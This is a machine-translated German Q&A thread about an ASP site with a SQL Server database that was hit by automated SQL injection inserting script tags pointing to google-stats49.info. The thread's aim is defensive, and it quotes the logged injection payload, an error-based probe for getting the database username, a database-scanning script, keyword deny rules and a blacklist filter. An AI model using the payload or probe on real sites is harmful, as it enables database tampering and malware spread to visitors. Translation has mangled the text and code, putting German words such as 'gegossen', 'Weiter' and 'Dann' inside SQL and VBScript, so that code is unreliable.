Angriff auf ASP-Site, die eine SQL Server-Datenbank verwendet

Question

Wir haben eine Umfrage-Website, die offenbar angegriffen wurde. Die Symptome sind identisch mit denen, die auf der folgenden Seite dieser Website beschrieben wurden: XSS Attack on the ASP.NET Website.

fand ich mehrere Einträge in unserem IIS-Protokolle, die den schädlichen Code enthalten:

</title> < script src = http: // google-stats49.info/ur.php>.

Hier ist ein Beispiel für den Wert des Feldes cs-uri-query für einen der IIS-Protokolleinträge.

surveyID = 91 + Update + usd_ResponseDetails + gesetzt + category = replace (CAST (category + as + VARCHAR (8000)), gegossen (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bschar (116)% 2Bschar (108)% 2Bschar (101)% 2Bschar (62)% 2Bschar (60)% 2Bschar (115)% 2Bschar (99)% 2Bschar (114)% 2Bschar (105)% 2Bschar (112)% 2BZeichen (116)% 2BZeichen (32)% 2BZeichen (115)% 2BZeichen (114)% 2BZeichen (99)% 2BZeichen (61)% 2BZeichen (104)% 2BZeichen (116)% 2BZeichen (116)% 2BZeichen (112)% 2Bschar (58)% 2Bschar (47)% 2Bschar (47)% 2Bschar (103)% 2Bschar (111)% 2Bschar (111)% 2Bschar (103)% 2Bschar (108)% 2Bschar (101)% 2Bschar (45)% 2Bschar (115)% 2Bschar (116)% 2Bschar (97)% 2Bschar (116)% 2Bschar (115)% 2Bschar (53)% 2Bschar (48)% 2Bschar (46)% 2Bschar (105)% 2Bschar (110)% 2BZeichen (102)% 2BZeichen (111)% 2BZeichen (47)% 2BZeichen (117)% 2BZeichen (114)% 2BZeichen (46)% 2BZeichen (112)% 2BZeichen (104)% 2BZeichen (112)% 2BZeichen (62)% 2Bschar (60)% 2Bschar (47)% 2Bschar (115)% 2Bschar (99)% 2Bschar (114)% 2Bschar (105)% 2Bschar (112)% 2Bschar (1 16)% 2Bchar (62) + + als varchar (8000)), gegossen (char (32) + + als varchar (8))) -

Ich verstehe nicht, wie der obige Code funktioniert aber anscheinend wird dies in einer Abfragezeichenfolge gesendet, um Spalten in unseren Datenbanktabellen zu beschädigen. Wir haben unsere Seite vorläufig geschlossen. Wir können die Skripte aus der Datenbank entfernen, verhindern jedoch nicht, dass sie erneut beschädigt wird, wenn wir die Site wieder online schalten.

Hat jemand irgendwelche Vorschläge, wie dies verhindert werden kann?

Answer 1

Das ist eine SQL-Injektion.

1. Vertraue niemals Benutzereingaben. Sie nehmen die Eingabe entgegen und senden sie direkt an die Datenbank
2. Vertrauen Sie niemals Ihren Benutzereingaben!
3. Überprüfen Sie alle Eingaben auf eine Positivliste zulässiger Werte.
4. Für Texteingabe stellen Sie sicher, alles

Es gibt Tonnen zu diesem Thema entgangen ist: Google is your friend

Answer 2

Auch ...

parametrisierte Abfragen

1. Verwendung.
2. Holen Sie sich alte klassische ASP, die es schwieriger macht, parametrisierte Abfragen zu verwenden. Wechseln Sie zu .NET, was eine einfachere Überprüfung ermöglicht und Werte einschränken, HTML-Eingaben usw. verbieten kann.

Answer 3

Ich schlage vor, Sie für alle Seiten suchen, die Request.QueryString enthält, da es meist ein GET-Parameter, der nicht gefiltert wird (häufig ein Wert, der eine ganze Zahl sein soll) und großzügig die integrierten Funktionen nutzen CInt, CLng und IsNumeric, um die Injektionen in ihren Spuren zu stoppen.Es sollte schneller sein, als alle Ihre Abfragen neu zu schreiben, um Parameter zu verwenden oder gespeicherte Prozeduren in SQL Server zu erstellen, obwohl dies der richtige Weg wäre, wenn Sie noch damit beschäftigt sind, die Anwendung zu entwickeln. Sie sollten außerdem die EXEC-Berechtigung für das Benutzerkonto der Anwendung in SQL Server deaktivieren.

(Leider hat versucht, die Verknüpfung der anderen Funktionen, sondern als neuer Benutzer darf ich nur einen Hyperlink. :-))

Answer 4

Ihre IIS Konfigurieren Sie eine benutzerdefinierte Fehlerseite oder die Standard-Fehler 500 Seite senden statt Senden detaillierter Fehlermeldungen an den Client.

Detaillierte Fehlermeldungen wurden verwendet, um das db-Schema zu finden. Dann verwendeten sie sql injection, um Textfelder zu aktualisieren.

Hier ist ein Beispiel der DB Benutzer zu erhalten:

/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

, die "und^+ user +^= 0" ist, und es gibt:

[Microsoft] [ODBC_SQL_Server_Driver] [sql_server] Conversion_failed_when_converting_nvarchar_value _ '^ myDbUsername ^' _ to_data_type_int.

wo "myDbUsername" ist Ihre echte Datenbankbenutzer.

Mit einer ähnlichen Technologie ist es möglich, Datenbanken, Tabellen, Spalten, Typen usw. einzeln zu erhalten.

Wenn Sie nicht bereits dann detaillierte Fehler in IIS deaktivieren angegriffen worden, sonst Ihre Protokolle überprüfen, welche Seiten haben SQL-Injection-Schwachstellen und deren Beseitigung zu finden.

schrieb ich ein kleines Skript zu überprüfen, ob es „< Skript“ in meiner Datenbank:

DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+ 
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) + 
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%''' 
FROM INFORMATION_SCHEMA.COLUMNS c 
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext') 
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views) 
order by QUOTENAME(TABLE_NAME); 
DECLARE @CMD VARCHAR(200), @return varchar(10) 
OPEN C1 
FETCH NEXT FROM C1 INTO @CMD 
WHILE @@FETCH_STATUS <> -1 
    BEGIN 
     declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200) 
     set @sql = 'declare c2 cursor for ' + @CMD 
     exec sp_executesql @sql 
     open c2 
     FETCH NEXT FROM C2 INTO @return, @tbl, @col 
     WHILE @@FETCH_STATUS <> -1 
      BEGIN 
      if(@return > 0) 
       BEGIN 
        PRINT @return + ' records found in ' + @tbl + '.' + @col 
        exec('SELECT '+@col+' FROM '+@tbl+' WHERE '+@col+' LIKE ''%<script%''') 
       END 
      FETCH NEXT FROM C2 INTO @return, @tbl, @col 
      END 
     CLOSE C2 
     DEALLOCATE C2 
     FETCH NEXT FROM C1 INTO @CMD 
    END 
CLOSE C1 
DEALLOCATE C1 

ich auf IIS bin 7, Windows Server 2008 und SQL Server 2008, damit es nicht scheint dies attack verwendet alle SQL Server 2003/2005-Sicherheitsanfälligkeiten, die in vielen Artikeln im Internet angegeben sind.

Answer 5

Sie durch die LizaMoon automatisierte SQL-Injection getroffen werden Exploit Pack und sind jetzt in einer artice auf der Seite des genannten Unternehmens, das mit der ersten Dokumentation des Angriffs gutgeschrieben wird: http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx

Answer 6

Die Bullet Sicherheit Wordpress-Plugin hat die SQL-Injection-Filter, die diesen Angriff in einer .htaccess-Datei blockiert. Da Sie einen IIS-Server haben, müssten Sie zusätzliche Funktionen hinzufügen, die es Ihnen ermöglichen würden, eine htaccess-Datei zu verwenden, oder Sie könnten die SQL Injection-Filter auf andere Weise mit IIS integrieren, da htaccess traditionell eine Apache-Sache ist. Das ist die Linie in der Bulletproof Security Master .htaccess Datei, die alle SQL-Injection-Blöcke Hacking-Versuche:

RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] 
RewriteRule ^(.*)$ - [F,L] 

Answer 7

Nicht sicher, ob dies für Sie noch relevant ist, aber ich habe dies in der Vergangenheit geschehen war, da wir noch einige laufen alte Asp-Seiten. Es gibt zwei Dinge, die Sie dies bis reinigen müssen. Zunächst ist ein Suchen und Ersetzen gespeicherte Prozedur für die Datenbank (leicht genug, um Google diese), wenn Sie mit ihm weg erhalten können. Leider werden manchmal die Daten je nach Feldtyp abgeschnitten, aber hier gibt es nichts zu tun. Ansonsten ist ein Rollback für Ihre db notwendig.

Zweitens ist ein Skript SQL-Injection-Hack Prävention einsetzen, wie dies als eine Include vor Ihre Datenbankverbindung:

Viel Glück.

<% 
' SqlCheckInclude.asp 
' 
' This is the include file to use with your asp pages to 
' validate input for SQL injection.
 

Dim BlackList, ErrorPage, s
 

' ' Below is a black list that will block certain SQL commands and ' sequences used in SQL injection will help with input sanitization ' ' However this is may not suffice, because: ' 1) These might not cover all the cases (like encoded characters) ' 2) This may disallow legitimate input ' ' Creating a raw sql query strings by concatenating user input is ' unsafe programming practice. It is advised that you use parameterized ' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information ' on how to do this using ADO from ASP. ' ' Moreover, you need to also implement a white list for your parameters. ' For example, if you are expecting input for a zipcode you should create ' a validation rule that will only allow 5 characters in [0-9]. '
 

BlackList = Array("--", ";", "/", "/", "@@", "@",_ "char", "nchar", "varchar", "nvarchar",_ "alter", "begin", "cast", "create", "cursor",_ "declare", "delete", "drop", "end", "exec",_ "execute", "fetch", "insert", "kill", "open",_ "select", "sys", "sysobjects", "syscolumns",_ "table", "update")
 

' Populate the error page you want to redirect to in case the ' check fails.
 

ErrorPage = "/ErrorPage.asp"
 

'''''''''''''''''''''''''''''''''''''''''''''''''''
 ' This function does not check for encoded characters ' since we do not know the form of encoding your application ' uses. Add the appropriate logic to deal with encoded characters ' in here ''''''''''''''''''''''''''''''''''''''''''''''''''' Function CheckStringForSQL(str) On Error Resume Next
 

Dim lstr
 

' If the string is empty, return true If (IsEmpty(str)) Then CheckStringForSQL = false Exit Function ElseIf (StrComp(str, "") = 0) Then CheckStringForSQL = false Exit Function End If
 

lstr = LCase(str)
 

' Check if the string contains any patterns in our ' black list For Each s in BlackList
 

If (InStr (lstr, s) <> 0) Then 
    CheckStringForSQL = true 
    Exit Function 
End If 
 

Weiter
 

CheckStringForSQL = false
 

End Function
 

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' 'Überprüfen Sie die Formulardaten ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''
 

Für jedes s in Request.Form If (CheckStringForSQL (Request.Form (s))) Dann
 

' Redirect to an error page 
Response.Redirect(ErrorPage) 
 

End If Next 
 

'' '' '' '' '' '' '' '' '' ''‘ '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' ' Abfragezeichenfolge prüfen '' '' '' '' '' '' '' ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '
 

Für jedes s in Request.QueryString If (CheckStringForSQL (Request.QueryString (s))) Dann
 

' Redirect to error page 
Response.Redirect(ErrorPage) 

End If 
 

Weiter
 

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''‘ '' '' '' '' '' 'Cookies überprüfen ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' ''' '' '' ' '''
 

Für jedes s in Request.Cookies Wenn (CheckStringForSQL (Request.Cookies (s))) Dann
 

' Redirect to error page 
Response.Redirect(ErrorPage) 
 

End If
 

Nächste
 

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' 'Fügen Sie zusätzliche Prüfungen für die Eingabe hinzu, die Ihre Anwendung verwendet. (Zum Beispiel verschiedene Anfrage-Header Ihre App 'könnte verwenden) ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''‘
 

%>